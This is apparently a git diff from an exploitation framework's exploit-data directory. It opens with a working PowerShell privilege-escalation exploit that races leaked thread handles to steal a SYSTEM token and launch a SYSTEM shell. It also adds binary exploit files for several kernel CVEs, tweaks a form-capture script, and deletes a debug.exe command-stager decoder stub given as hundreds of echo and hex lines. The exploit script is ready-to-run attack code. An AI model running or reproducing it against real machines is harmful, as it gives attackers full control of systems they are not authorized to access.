[System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size + + # ProcessInfo Struct + $ProcessInfo = New-Object PROCESS_INFORMATION + + # CreateProcessWithLogonW --> lpCurrentDirectory + $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName + + $path1 = $env:windir + $path1 = "$path1\System32\cmd.exe" + # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED + $CallResult = [Advapi32]::CreateProcessWithLogonW( + "user", "domain", "pass", + 0x00000002, $path1, "", + 0x00000004, $null, $GetCurrentPath, + [ref]$StartupInfo, [ref]$ProcessInfo) + + # Duplicate handle into current process -> DUPLICATE_SAME_ACCESS + $lpTargetHandle = [IntPtr]::Zero + $CallResult = [Kernel32]::DuplicateHandle( + $ProcessInfo.hProcess, 0x4, + [Kernel32]::GetCurrentProcess(), + [ref]$lpTargetHandle, 0, $false, + 0x00000002) + + # Clean up suspended process + $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1) + $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess) + $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread) + + $lpTargetHandle + } + + function Get-SystemToken { + echo "`n[?] Trying thread handle: $Thread" + echo "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)" + + $CallResult = [Kernel32]::SuspendThread($Thread) + if ($CallResult -ne 0) { + echo "[!] $Thread is a bad thread, moving on.." + Return + } echo "[+] Thread suspended" + + echo "[>] Wiping current impersonation token" + $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero) + if (!$CallResult) { + echo "[!] SetThreadToken failed, moving on.." + $CallResult = [Kernel32]::ResumeThread($Thread) + echo "[+] Thread resumed!" + Return + } + + echo "[>] Building SYSTEM impersonation token" + # SecurityQualityOfService struct + $SQOS = New-Object SQOS + $SQOS.ImpersonationLevel = 2 #SecurityImpersonation + $SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS) + # Undocumented API's, I like your style Microsoft ;) + $CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos) + if ($CallResult -ne 0) { + echo "[!] NtImpersonateThread failed, moving on.." + $CallResult = [Kernel32]::ResumeThread($Thread) + echo "[+] Thread resumed!" + Return + } + + $script:SysTokenHandle = [IntPtr]::Zero + # 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE + $CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle) + if (!$CallResult) { + echo "[!] OpenThreadToken failed, moving on.." + $CallResult = [Kernel32]::ResumeThread($Thread) + echo "[+] Thread resumed!" + Return + } + + echo "[?] Success, open SYSTEM token handle: $SysTokenHandle" + echo "[+] Resuming thread.." + $CallResult = [Kernel32]::ResumeThread($Thread) + } + + # main() <--- ;) + + # Check logical processor count, race condition requires 2+ + echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)" + if ($([System.Environment]::ProcessorCount) -lt 2) { + echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n" + Return + } + + # Create array for Threads & TID's + $ThreadArray = @() + $TidArray = @() + + echo "[>] Duplicating CreateProcessWithLogonW handles.." + # Loop 1 is fine, this never fails unless patched in which case the handle is 0 + for ($i=0; $i -lt 1; $i++) { + $hThread = Get-ThreadHandle + $hThreadID = [Kernel32]::GetThreadId($hThread) + # Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray + if ($TidArray -notcontains $hThreadID) { + $TidArray += $hThreadID + if ($hThread -ne 0) { + $ThreadArray += $hThread # This is what we need! + } + } + } + + if ($($ThreadArray.length) -eq 0) { + echo "[!] No valid thread handles were captured, exiting!" + Return + } else { + echo "[?] Done, got $($ThreadArray.length) thread handle(s)!" + echo "`n[?] Thread handle list:" + $ThreadArray + } + + echo "`n[*] Sniffing out privileged impersonation token.." + foreach ($Thread in $ThreadArray){ + + # Get handle to SYSTEM access token + Get-SystemToken + + echo "`n[*] Sniffing out SYSTEM shell.." + echo "`n[>] Duplicating SYSTEM token" + $hDuplicateTokenHandle = [IntPtr]::Zero + $CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle) + + # Simple PS runspace definition + echo "[>] Starting token race" + $Runspace = [runspacefactory]::CreateRunspace() + $StartTokenRace = [powershell]::Create() + $StartTokenRace.runspace = $Runspace + $Runspace.Open() + [void]$StartTokenRace.AddScript({ + Param ($Thread, $hDuplicateTokenHandle) + while ($true) { + $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle) + } + }).AddArgument($Thread).AddArgument($hDuplicateTokenHandle) + $AscObj = $StartTokenRace.BeginInvoke() + + echo "[>] Starting process race" + # Adding a timeout (10 seconds) here to safeguard from edge-cases + $SafeGuard = [diagnostics.stopwatch]::StartNew() + while ($SafeGuard.ElapsedMilliseconds -lt 10000) { + # StartupInfo Struct + $StartupInfo = New-Object STARTUPINFO + $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size + + # ProcessInfo Struct + $ProcessInfo = New-Object PROCESS_INFORMATION + + # CreateProcessWithLogonW --> lpCurrentDirectory + $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName + + # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED + $CallResult = [Advapi32]::CreateProcessWithLogonW( + "user", "domain", "pass", + 0x00000002, $cmd, $args1, + 0x00000004, $null, $GetCurrentPath, + [ref]$StartupInfo, [ref]$ProcessInfo) + + #--- + # Make sure CreateProcessWithLogonW ran successfully! If not, skip loop. + #--- + # Missing this check used to cause the exploit to fail sometimes. + # If CreateProcessWithLogon fails OpenProcessToken won't succeed + # but we obviously don't have a SYSTEM shell :'( . Should be 100% + # reliable now! + #--- + if (!$CallResult) { + continue + } + + $hTokenHandle = [IntPtr]::Zero + $CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle) + + # If we can't open the process token it's a SYSTEM shell! + if (!$CallResult) { + echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n" + $CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread) + $StartTokenRace.Stop() + $SafeGuard.Stop() + Return + } + + # Clean up suspended process + $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1) + $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess) + $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread) + } + + # Kill runspace & stopwatch if edge-case + $StartTokenRace.Stop() + $SafeGuard.Stop() + } + exit \ No newline at end of file diff --git a/data/exploits/CVE-2016-4557/doubleput b/data/exploits/CVE-2016-4557/doubleput new file mode 100644 index 0000000000..7194be69b6 Binary files /dev/null and b/data/exploits/CVE-2016-4557/doubleput differ diff --git a/data/exploits/CVE-2016-4557/hello b/data/exploits/CVE-2016-4557/hello new file mode 100644 index 0000000000..3a84b198f3 Binary files /dev/null and b/data/exploits/CVE-2016-4557/hello differ diff --git a/data/exploits/CVE-2016-4557/suidhelper b/data/exploits/CVE-2016-4557/suidhelper new file mode 100644 index 0000000000..f629640c91 Binary files /dev/null and b/data/exploits/CVE-2016-4557/suidhelper differ diff --git a/data/exploits/CVE-2016-4997/2016-4997-decr.out b/data/exploits/CVE-2016-4997/2016-4997-decr.out new file mode 100644 index 0000000000..60390352a0 Binary files /dev/null and b/data/exploits/CVE-2016-4997/2016-4997-decr.out differ diff --git a/data/exploits/CVE-2016-4997/2016-4997-pwn.out b/data/exploits/CVE-2016-4997/2016-4997-pwn.out new file mode 100644 index 0000000000..343bbfacf3 Binary files /dev/null and b/data/exploits/CVE-2016-4997/2016-4997-pwn.out differ diff --git a/data/exploits/R7_2015_17/stream.raw b/data/exploits/R7_2015_17/stream.raw new file mode 100644 index 0000000000..aa17f76ea2 Binary files /dev/null and b/data/exploits/R7_2015_17/stream.raw differ diff --git a/data/exploits/capcom_sys_exec/capcom_sys_exec.x64.dll b/data/exploits/capcom_sys_exec/capcom_sys_exec.x64.dll new file mode 100755 index 0000000000..b0351af820 Binary files /dev/null and b/data/exploits/capcom_sys_exec/capcom_sys_exec.x64.dll differ diff --git a/data/exploits/capture/http/forms/grabforms.rb b/data/exploits/capture/http/forms/grabforms.rb index fa207c3ab7..fc09e98e45 100755 --- a/data/exploits/capture/http/forms/grabforms.rb +++ b/data/exploits/capture/http/forms/grabforms.rb @@ -28,7 +28,7 @@ File.readlines(sitelist).each do |site| next if site =~ /^#/ out = File.join(output, site + ".txt") - File.unlink(out) if File.exists?(out) + File.unlink(out) if File.exist?(out) fd = File.open(out, "a") diff --git a/data/exploits/cmdstager/debug_asm b/data/exploits/cmdstager/debug_asm deleted file mode 100755 index a47ff9166a..0000000000 --- a/data/exploits/cmdstager/debug_asm +++ /dev/null @@ -1,91 +0,0 @@ -echo a 0100 >>decoder_stub -echo jmp 197 >>decoder_stub -echo mov bx,[1bd] >>decoder_stub -echo call 131 >>decoder_stub -echo mov bx,[1cc] >>decoder_stub -echo call 131 >>decoder_stub -echo mov ax,4c00 >>decoder_stub -echo int 21 >>decoder_stub -echo mov ah,3d >>decoder_stub -echo mov al,00 >>decoder_stub -echo mov dx,1bf >>decoder_stub -echo int 21 >>decoder_stub -echo mov [1bd],ax >>decoder_stub -echo ret >>decoder_stub -echo mov ah,3c >>decoder_stub -echo mov cx,2 >>decoder_stub -echo mov dx,1ce >>decoder_stub -echo int 21 >>decoder_stub -echo mov [1cc],ax >>decoder_stub -echo ret >>decoder_stub -echo mov ax,3e00 >>decoder_stub -echo int 21 >>decoder_stub -echo ret >>decoder_stub -echo mov bx,[1bd] >>decoder_stub -echo mov ax,3f00 >>decoder_stub -echo mov cx,100 >>decoder_stub -echo mov dx,0200 >>decoder_stub -echo int 21 >>decoder_stub -echo cmp ax,2 >>decoder_stub -echo ja 151 >>decoder_stub -echo call 178 >>decoder_stub -echo call 103 >>decoder_stub -echo ret >>decoder_stub -echo mov ah,0 >>decoder_stub -echo or al,20 >>decoder_stub -echo sub al,30 >>decoder_stub -echo cmp al,9 >>decoder_stub -echo jbe 164 >>decoder_stub -echo sub al,31 >>decoder_stub -echo cmp al,5 >>decoder_stub -echo ja 165 >>decoder_stub -echo add al,a >>decoder_stub -echo ret >>decoder_stub -echo mov ah,ff >>decoder_stub -echo ret >>decoder_stub -echo cmp bp,0 >>decoder_stub -echo jne 175 >>decoder_stub -echo call 137 >>decoder_stub -echo mov bp,ax >>decoder_stub -echo mov si,200 >>decoder_stub -echo lodsb >>decoder_stub -echo dec bp >>decoder_stub -echo ret >>decoder_stub -echo mov cx,di >>decoder_stub -echo sub cx,300 >>decoder_stub -echo mov bx,[1cc] >>decoder_stub -echo mov ax,4000 >>decoder_stub -echo mov dx,0300 >>decoder_stub -echo int 21 >>decoder_stub -echo ret >>decoder_stub -echo call 168 >>decoder_stub -echo call 152 >>decoder_stub -echo cmp ah,0 >>decoder_stub -echo jne 18b >>decoder_stub -echo ret >>decoder_stub -echo call 116 >>decoder_stub -echo call 123 >>decoder_stub -echo mov bp,0 >>decoder_stub -echo mov di,300 >>decoder_stub -echo call 18b >>decoder_stub -echo mov cx,1000 >>decoder_stub -echo mul cx >>decoder_stub -echo push ax >>decoder_stub -echo call 18b >>decoder_stub -echo pop dx >>decoder_stub -echo or al,dh >>decoder_stub -echo stosb >>decoder_stub -echo cmp bp, 0 >>decoder_stub -echo jne 1a3 >>decoder_stub -echo call 178 >>decoder_stub -echo jmp 1a0 >>decoder_stub -echo db 00,00 >>decoder_stub -echo db "testfile.dat",00 >>decoder_stub -echo db 00,00 >>decoder_stub -echo db "testfile.out",00 >>decoder_stub -echo  >>decoder_stub -echo r cx >>decoder_stub -echo 0400 >>decoder_stub -echo n h2b.com >>decoder_stub -echo w >>decoder_stub -echo q >>decoder_stub diff --git a/data/exploits/cmdstager/debug_write b/data/exploits/cmdstager/debug_write deleted file mode 100755 index 3c5898950c..0000000000 --- a/data/exploits/cmdstager/debug_write +++ /dev/null @@ -1,819 +0,0 @@ -echo n decoder_stub.bin > decoder_stub -echo r cx >>decoder_stub -echo 1400 >>decoder_stub -echo f 0100 ffff 00 >>decoder_stub -echo e 100 4d 5a 90 >>decoder_stub -echo e 104 03 >>decoder_stub -echo e 108 04 >>decoder_stub -echo e 10c ff ff >>decoder_stub -echo e 110 b8 >>decoder_stub -echo e 118 40 >>decoder_stub -echo e 13c 80 >>decoder_stub -echo e 140 0e 1f ba 0e >>decoder_stub -echo e 145 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 >>decoder_stub -echo e 159 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 >>decoder_stub -echo e 16d 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 >>decoder_stub -echo e 180 50 45 >>decoder_stub -echo e 184 4c 01 03 >>decoder_stub -echo e 188 85 18 7c 48 >>decoder_stub -echo e 194 e0 >>decoder_stub -echo e 196 0e 01 0b 01 08 >>decoder_stub -echo e 19d 0a >>decoder_stub -echo e 1a1 08 >>decoder_stub -echo e 1a8 be 28 >>decoder_stub -echo e 1ad 20 >>decoder_stub -echo e 1b1 40 >>decoder_stub -echo e 1b6 40 >>decoder_stub -echo e 1b9 20 >>decoder_stub -echo e 1bd 02 >>decoder_stub -echo e 1c0 04 >>decoder_stub -echo e 1c8 04 >>decoder_stub -echo e 1d1 80 >>decoder_stub -echo e 1d5 02 >>decoder_stub -echo e 1dc 03 >>decoder_stub -echo e 1de 40 05 >>decoder_stub -echo e 1e2 10 >>decoder_stub -echo e 1e5 10 >>decoder_stub -echo e 1ea 10 >>decoder_stub -echo e 1ed 10 >>decoder_stub -echo e 1f4 10 >>decoder_stub -echo e 200 6c 28 >>decoder_stub -echo e 204 4f >>decoder_stub -echo e 209 40 >>decoder_stub -echo e 20c 30 05 >>decoder_stub -echo e 221 60 >>decoder_stub -echo e 224 0c >>decoder_stub -echo e 228 fc 27 >>decoder_stub -echo e 22c 1c >>decoder_stub -echo e 259 20 >>decoder_stub -echo e 25c 08 >>decoder_stub -echo e 268 08 20 >>decoder_stub -echo e 26c 48 >>decoder_stub -echo e 278 2e 74 65 78 74 >>decoder_stub -echo e 280 c4 08 >>decoder_stub -echo e 285 20 >>decoder_stub -echo e 289 0a >>decoder_stub -echo e 28d 02 >>decoder_stub -echo e 29c 20 >>decoder_stub -echo e 29f 60 2e 72 73 72 63 >>decoder_stub -echo e 2a8 30 05 >>decoder_stub -echo e 2ad 40 >>decoder_stub -echo e 2b1 06 >>decoder_stub -echo e 2b5 0c >>decoder_stub -echo e 2c4 40 >>decoder_stub -echo e 2c7 40 2e 72 65 6c 6f 63 >>decoder_stub -echo e 2d0 0c >>decoder_stub -echo e 2d5 60 >>decoder_stub -echo e 2d9 02 >>decoder_stub -echo e 2dd 12 >>decoder_stub -echo e 2ec 40 >>decoder_stub -echo e 2ef 42 >>decoder_stub -echo e 300 a0 28 >>decoder_stub -echo e 308 48 >>decoder_stub -echo e 30c 02 >>decoder_stub -echo e 30e 05 >>decoder_stub -echo e 310 24 21 >>decoder_stub -echo e 314 d8 06 >>decoder_stub -echo e 318 01 >>decoder_stub -echo e 31c 01 >>decoder_stub -echo e 31f 06 >>decoder_stub -echo e 350 13 30 04 >>decoder_stub -echo e 354 be >>decoder_stub -echo e 358 01 >>decoder_stub -echo e 35b 11 >>decoder_stub -echo e 35d 02 8e 69 17 fe 01 13 06 11 06 2d 12 >>decoder_stub -echo e 36a 72 01 >>decoder_stub -echo e 36e 70 28 10 >>decoder_stub -echo e 373 0a >>decoder_stub -echo e 376 38 9e >>decoder_stub -echo e 37c 02 16 9a 28 11 >>decoder_stub -echo e 383 0a 72 4b >>decoder_stub -echo e 388 70 72 4f >>decoder_stub -echo e 38d 70 6f 12 >>decoder_stub -echo e 392 0a 72 51 >>decoder_stub -echo e 397 70 72 4f >>decoder_stub -echo e 39c 70 6f 12 >>decoder_stub -echo e 3a1 0a 0a 06 6f 13 >>decoder_stub -echo e 3a8 0a 18 5b 8d 15 >>decoder_stub -echo e 3af 01 0b 16 0c 72 4f >>decoder_stub -echo e 3b7 70 0d 16 13 04 2b 21 >>decoder_stub -echo e 3bf 06 11 04 18 6f 14 >>decoder_stub -echo e 3c7 0a 0d 07 08 09 1f 10 28 15 >>decoder_stub -echo e 3d2 0a 9c 08 17 58 0c >>decoder_stub -echo e 3d9 11 04 18 58 13 04 11 04 06 6f 13 >>decoder_stub -echo e 3e6 0a fe 04 13 06 11 06 2d cf 02 16 9a 72 55 >>decoder_stub -echo e 3f6 70 28 16 >>decoder_stub -echo e 3fb 0a 28 17 >>decoder_stub -echo e 400 0a 13 05 11 05 07 16 07 8e 69 6f 18 >>decoder_stub -echo e 40e 0a >>decoder_stub -echo e 410 11 05 6f 19 >>decoder_stub -echo e 416 0a >>decoder_stub -echo e 419 2a 1e 02 28 1a >>decoder_stub -echo e 420 0a 2a >>decoder_stub -echo e 424 42 53 4a 42 01 >>decoder_stub -echo e 42a 01 >>decoder_stub -echo e 430 0c >>decoder_stub -echo e 434 76 32 2e 30 2e 35 30 37 32 37 >>decoder_stub -echo e 442 05 >>decoder_stub -echo e 444 6c >>decoder_stub -echo e 448 30 02 >>decoder_stub -echo e 44c 23 7e >>decoder_stub -echo e 450 9c 02 >>decoder_stub -echo e 454 d0 02 >>decoder_stub -echo e 458 23 53 74 72 69 6e 67 73 >>decoder_stub -echo e 464 6c 05 >>decoder_stub -echo e 468 60 >>decoder_stub -echo e 46c 23 55 53 >>decoder_stub -echo e 470 cc 05 >>decoder_stub -echo e 474 10 >>decoder_stub -echo e 478 23 47 55 49 44 >>decoder_stub -echo e 480 dc 05 >>decoder_stub -echo e 484 fc >>decoder_stub -echo e 488 23 42 6c 6f 62 >>decoder_stub -echo e 494 02 >>decoder_stub -echo e 497 01 47 15 02 >>decoder_stub -echo e 49c 09 >>decoder_stub -echo e 4a1 fa 01 33 >>decoder_stub -echo e 4a5 16 >>decoder_stub -echo e 4a8 01 >>decoder_stub -echo e 4ac 18 >>decoder_stub -echo e 4b0 02 >>decoder_stub -echo e 4b4 02 >>decoder_stub -echo e 4b8 01 >>decoder_stub -echo e 4bc 1a >>decoder_stub -echo e 4c0 0d >>decoder_stub -echo e 4c4 01 >>decoder_stub -echo e 4c8 01 >>decoder_stub -echo e 4cc 01 >>decoder_stub -echo e 4d2 0a >>decoder_stub -echo e 4d4 01 >>decoder_stub -echo e 4da 06 >>decoder_stub -echo e 4dc 36 >>decoder_stub -echo e 4de 2f >>decoder_stub -echo e 4e0 06 >>decoder_stub -echo e 4e2 5f >>decoder_stub -echo e 4e4 4d >>decoder_stub -echo e 4e6 06 >>decoder_stub -echo e 4e8 76 >>decoder_stub -echo e 4ea 4d >>decoder_stub -echo e 4ec 06 >>decoder_stub -echo e 4ee 93 >>decoder_stub -echo e 4f0 4d >>decoder_stub -echo e 4f2 06 >>decoder_stub -echo e 4f4 b2 >>decoder_stub -echo e 4f6 4d >>decoder_stub -echo e 4f8 06 >>decoder_stub -echo e 4fa cb >>decoder_stub -echo e 4fc 4d >>decoder_stub -echo e 4fe 06 >>decoder_stub -echo e 500 e4 >>decoder_stub -echo e 502 4d >>decoder_stub -echo e 504 06 >>decoder_stub -echo e 506 ff >>decoder_stub -echo e 508 4d >>decoder_stub -echo e 50a 06 >>decoder_stub -echo e 50c 1a 01 4d >>decoder_stub -echo e 510 06 >>decoder_stub -echo e 512 52 01 33 01 06 >>decoder_stub -echo e 518 66 01 33 01 06 >>decoder_stub -echo e 51e 74 01 4d >>decoder_stub -echo e 522 06 >>decoder_stub -echo e 524 8d 01 4d >>decoder_stub -echo e 528 06 >>decoder_stub -echo e 52a bd 01 aa 01 3b >>decoder_stub -echo e 530 d1 01 >>decoder_stub -echo e 534 06 >>decoder_stub -echo e 537 02 e0 01 06 >>decoder_stub -echo e 53c 20 02 e0 01 06 >>decoder_stub -echo e 542 3e 02 2f >>decoder_stub -echo e 546 06 >>decoder_stub -echo e 548 5a 02 50 02 06 >>decoder_stub -echo e 54e 6b 02 2f >>decoder_stub -echo e 552 06 >>decoder_stub -echo e 554 85 02 2f >>decoder_stub -echo e 558 06 >>decoder_stub -echo e 55a 94 02 2f >>decoder_stub -echo e 55e 06 >>decoder_stub -echo e 560 aa 02 50 02 06 >>decoder_stub -echo e 566 bc 02 50 02 >>decoder_stub -echo e 56e 01 >>decoder_stub -echo e 574 01 >>decoder_stub -echo e 576 01 >>decoder_stub -echo e 57a 10 >>decoder_stub -echo e 57c 16 >>decoder_stub -echo e 57e 1e >>decoder_stub -echo e 580 05 >>decoder_stub -echo e 582 01 >>decoder_stub -echo e 584 01 >>decoder_stub -echo e 586 50 20 >>decoder_stub -echo e 58c 91 >>decoder_stub -echo e 58e 3d >>decoder_stub -echo e 590 0a >>decoder_stub -echo e 592 01 >>decoder_stub -echo e 594 1a 21 >>decoder_stub -echo e 59a 86 18 42 >>decoder_stub -echo e 59e 10 >>decoder_stub -echo e 5a0 02 >>decoder_stub -echo e 5a4 01 >>decoder_stub -echo e 5a6 48 >>decoder_stub -echo e 5a8 11 >>decoder_stub -echo e 5aa 42 >>decoder_stub -echo e 5ac 14 >>decoder_stub -echo e 5ae 19 >>decoder_stub -echo e 5b0 42 >>decoder_stub -echo e 5b2 14 >>decoder_stub -echo e 5b4 21 >>decoder_stub -echo e 5b6 42 >>decoder_stub -echo e 5b8 14 >>decoder_stub -echo e 5ba 29 >>decoder_stub -echo e 5bc 42 >>decoder_stub -echo e 5be 14 >>decoder_stub -echo e 5c0 31 >>decoder_stub -echo e 5c2 42 >>decoder_stub -echo e 5c4 14 >>decoder_stub -echo e 5c6 39 >>decoder_stub -echo e 5c8 42 >>decoder_stub -echo e 5ca 14 >>decoder_stub -echo e 5cc 41 >>decoder_stub -echo e 5ce 42 >>decoder_stub -echo e 5d0 14 >>decoder_stub -echo e 5d2 49 >>decoder_stub -echo e 5d4 42 >>decoder_stub -echo e 5d6 14 >>decoder_stub -echo e 5d8 51 >>decoder_stub -echo e 5da 42 >>decoder_stub -echo e 5dc 19 >>decoder_stub -echo e 5de 59 >>decoder_stub -echo e 5e0 42 >>decoder_stub -echo e 5e2 14 >>decoder_stub -echo e 5e4 61 >>decoder_stub -echo e 5e6 42 >>decoder_stub -echo e 5e8 14 >>decoder_stub -echo e 5ea 69 >>decoder_stub -echo e 5ec 42 >>decoder_stub -echo e 5ee 14 >>decoder_stub -echo e 5f0 71 >>decoder_stub -echo e 5f2 42 >>decoder_stub -echo e 5f4 1e >>decoder_stub -echo e 5f6 81 >>decoder_stub -echo e 5f8 42 >>decoder_stub -echo e 5fa 24 >>decoder_stub -echo e 5fc 89 >>decoder_stub -echo e 5fe 42 >>decoder_stub -echo e 600 10 >>decoder_stub -echo e 602 91 >>decoder_stub -echo e 604 46 02 29 >>decoder_stub -echo e 608 99 >>decoder_stub -echo e 60a 5f 02 2e >>decoder_stub -echo e 60e a1 >>decoder_stub -echo e 610 72 02 33 >>decoder_stub -echo e 614 a1 >>decoder_stub -echo e 616 7a 02 39 >>decoder_stub -echo e 61a a1 >>decoder_stub -echo e 61c 8a 02 3d >>decoder_stub -echo e 620 b1 >>decoder_stub -echo e 622 9c 02 43 >>decoder_stub -echo e 626 a1 >>decoder_stub -echo e 628 a3 02 49 >>decoder_stub -echo e 62c 99 >>decoder_stub -echo e 62e b5 02 4f >>decoder_stub -echo e 632 c1 >>decoder_stub -echo e 634 c3 02 55 >>decoder_stub -echo e 638 c1 >>decoder_stub -echo e 63a c9 02 10 >>decoder_stub -echo e 63e 09 >>decoder_stub -echo e 640 42 >>decoder_stub -echo e 642 10 >>decoder_stub -echo e 644 2e >>decoder_stub -echo e 646 0b >>decoder_stub -echo e 648 69 >>decoder_stub -echo e 64a 2e >>decoder_stub -echo e 64c 13 >>decoder_stub -echo e 64e 76 >>decoder_stub -echo e 650 2e >>decoder_stub -echo e 652 1b >>decoder_stub -echo e 654 76 >>decoder_stub -echo e 656 2e >>decoder_stub -echo e 658 23 >>decoder_stub -echo e 65a 76 >>decoder_stub -echo e 65c 2e >>decoder_stub -echo e 65e 2b >>decoder_stub -echo e 660 69 >>decoder_stub -echo e 662 2e >>decoder_stub -echo e 664 33 >>decoder_stub -echo e 666 7c >>decoder_stub -echo e 668 2e >>decoder_stub -echo e 66a 3b >>decoder_stub -echo e 66c 76 >>decoder_stub -echo e 66e 2e >>decoder_stub -echo e 670 4b >>decoder_stub -echo e 672 76 >>decoder_stub -echo e 674 2e >>decoder_stub -echo e 676 53 >>decoder_stub -echo e 678 94 >>decoder_stub -echo e 67a 2e >>decoder_stub -echo e 67c 63 >>decoder_stub -echo e 67e be >>decoder_stub -echo e 680 2e >>decoder_stub -echo e 682 6b >>decoder_stub -echo e 684 cb >>decoder_stub -echo e 686 2e >>decoder_stub -echo e 688 73 >>decoder_stub -echo e 68a d4 >>decoder_stub -echo e 68c 2e >>decoder_stub -echo e 68e 7b >>decoder_stub -echo e 690 dd >>decoder_stub -echo e 692 5d >>decoder_stub -echo e 694 04 80 >>decoder_stub -echo e 698 01 >>decoder_stub -echo e 6a6 1e >>decoder_stub -echo e 6aa 02 >>decoder_stub -echo e 6b6 01 >>decoder_stub -echo e 6b8 26 >>decoder_stub -echo e 6c1 3c 4d 6f 64 75 6c 65 3e >>decoder_stub -echo e 6ca 68 65 78 32 62 69 6e 2e 65 78 65 >>decoder_stub -echo e 6d6 50 72 6f 67 72 61 6d >>decoder_stub -echo e 6de 68 65 78 32 62 69 6e >>decoder_stub -echo e 6e6 6d 73 63 6f 72 6c 69 62 >>decoder_stub -echo e 6ef 53 79 73 74 65 6d >>decoder_stub -echo e 6f6 4f 62 6a 65 63 74 >>decoder_stub -echo e 6fd 4d 61 69 6e >>decoder_stub -echo e 702 2e 63 74 6f 72 >>decoder_stub -echo e 708 61 72 67 73 >>decoder_stub -echo e 70d 53 79 73 74 65 6d 2e 52 65 66 6c 65 63 74 69 6f 6e >>decoder_stub -echo e 71f 41 73 73 65 6d 62 6c 79 54 69 74 6c 65 41 74 74 72 69 62 75 >>decoder_stub -echo e 733 74 65 >>decoder_stub -echo e 736 41 73 73 65 6d 62 6c 79 44 65 73 63 72 69 70 74 69 6f 6e 41 >>decoder_stub -echo e 74a 74 74 72 69 62 75 74 65 >>decoder_stub -echo e 753 41 73 73 65 6d 62 6c 79 43 6f 6e 66 69 67 75 72 61 74 69 6f >>decoder_stub -echo e 767 6e 41 74 74 72 69 62 75 74 65 >>decoder_stub -echo e 772 41 73 73 65 6d 62 6c 79 43 6f 6d 70 61 6e 79 41 74 74 72 69 >>decoder_stub -echo e 786 62 75 74 65 >>decoder_stub -echo e 78b 41 73 73 65 6d 62 6c 79 50 72 6f 64 75 63 74 41 74 74 72 69 >>decoder_stub -echo e 79f 62 75 74 65 >>decoder_stub -echo e 7a4 41 73 73 65 6d 62 6c 79 43 6f 70 79 72 69 67 68 74 41 74 74 >>decoder_stub -echo e 7b8 72 69 62 75 74 65 >>decoder_stub -echo e 7bf 41 73 73 65 6d 62 6c 79 54 72 61 64 65 6d 61 72 6b 41 74 74 >>decoder_stub -echo e 7d3 72 69 62 75 74 65 >>decoder_stub -echo e 7da 41 73 73 65 6d 62 6c 79 43 75 6c 74 75 72 65 41 74 74 72 69 >>decoder_stub -echo e 7ee 62 75 74 65 >>decoder_stub -echo e 7f3 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 >>decoder_stub -echo e 807 6f 70 53 65 72 76 69 63 65 73 >>decoder_stub -echo e 812 43 6f 6d 56 69 73 69 62 6c 65 41 74 74 72 69 62 75 74 65 >>decoder_stub -echo e 826 47 75 69 64 41 74 74 72 69 62 75 74 65 >>decoder_stub -echo e 834 41 73 73 65 6d 62 6c 79 56 65 72 73 69 6f 6e 41 74 74 72 69 >>decoder_stub -echo e 848 62 75 74 65 >>decoder_stub -echo e 84d 41 73 73 65 6d 62 6c 79 46 69 6c 65 56 65 72 73 69 6f 6e 41 >>decoder_stub -echo e 861 74 74 72 69 62 75 74 65 >>decoder_stub -echo e 86a 53 79 73 74 65 6d 2e 44 69 61 67 6e 6f 73 74 69 63 73 >>decoder_stub -echo e 87d 44 65 62 75 67 67 61 62 6c 65 41 74 74 72 69 62 75 74 65 >>decoder_stub -echo e 891 44 65 62 75 67 67 69 6e 67 4d 6f 64 65 73 >>decoder_stub -echo e 8a0 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 43 6f 6d 70 69 >>decoder_stub -echo e 8b4 6c 65 72 53 65 72 76 69 63 65 73 >>decoder_stub -echo e 8c0 43 6f 6d 70 69 6c 61 74 69 6f 6e 52 65 6c 61 78 61 74 69 6f >>decoder_stub -echo e 8d4 6e 73 41 74 74 72 69 62 75 74 65 >>decoder_stub -echo e 8e0 52 75 6e 74 69 6d 65 43 6f 6d 70 61 74 69 62 69 6c 69 74 79 >>decoder_stub -echo e 8f4 41 74 74 72 69 62 75 74 65 >>decoder_stub -echo e 8fe 43 6f 6e 73 6f 6c 65 >>decoder_stub -echo e 906 57 72 69 74 65 4c 69 6e 65 >>decoder_stub -echo e 910 53 79 73 74 65 6d 2e 49 4f >>decoder_stub -echo e 91a 46 69 6c 65 >>decoder_stub -echo e 91f 52 65 61 64 41 6c 6c 54 65 78 74 >>decoder_stub -echo e 92b 53 74 72 69 6e 67 >>decoder_stub -echo e 932 52 65 70 6c 61 63 65 >>decoder_stub -echo e 93a 67 65 74 5f 4c 65 6e 67 74 68 >>decoder_stub -echo e 945 42 79 74 65 >>decoder_stub 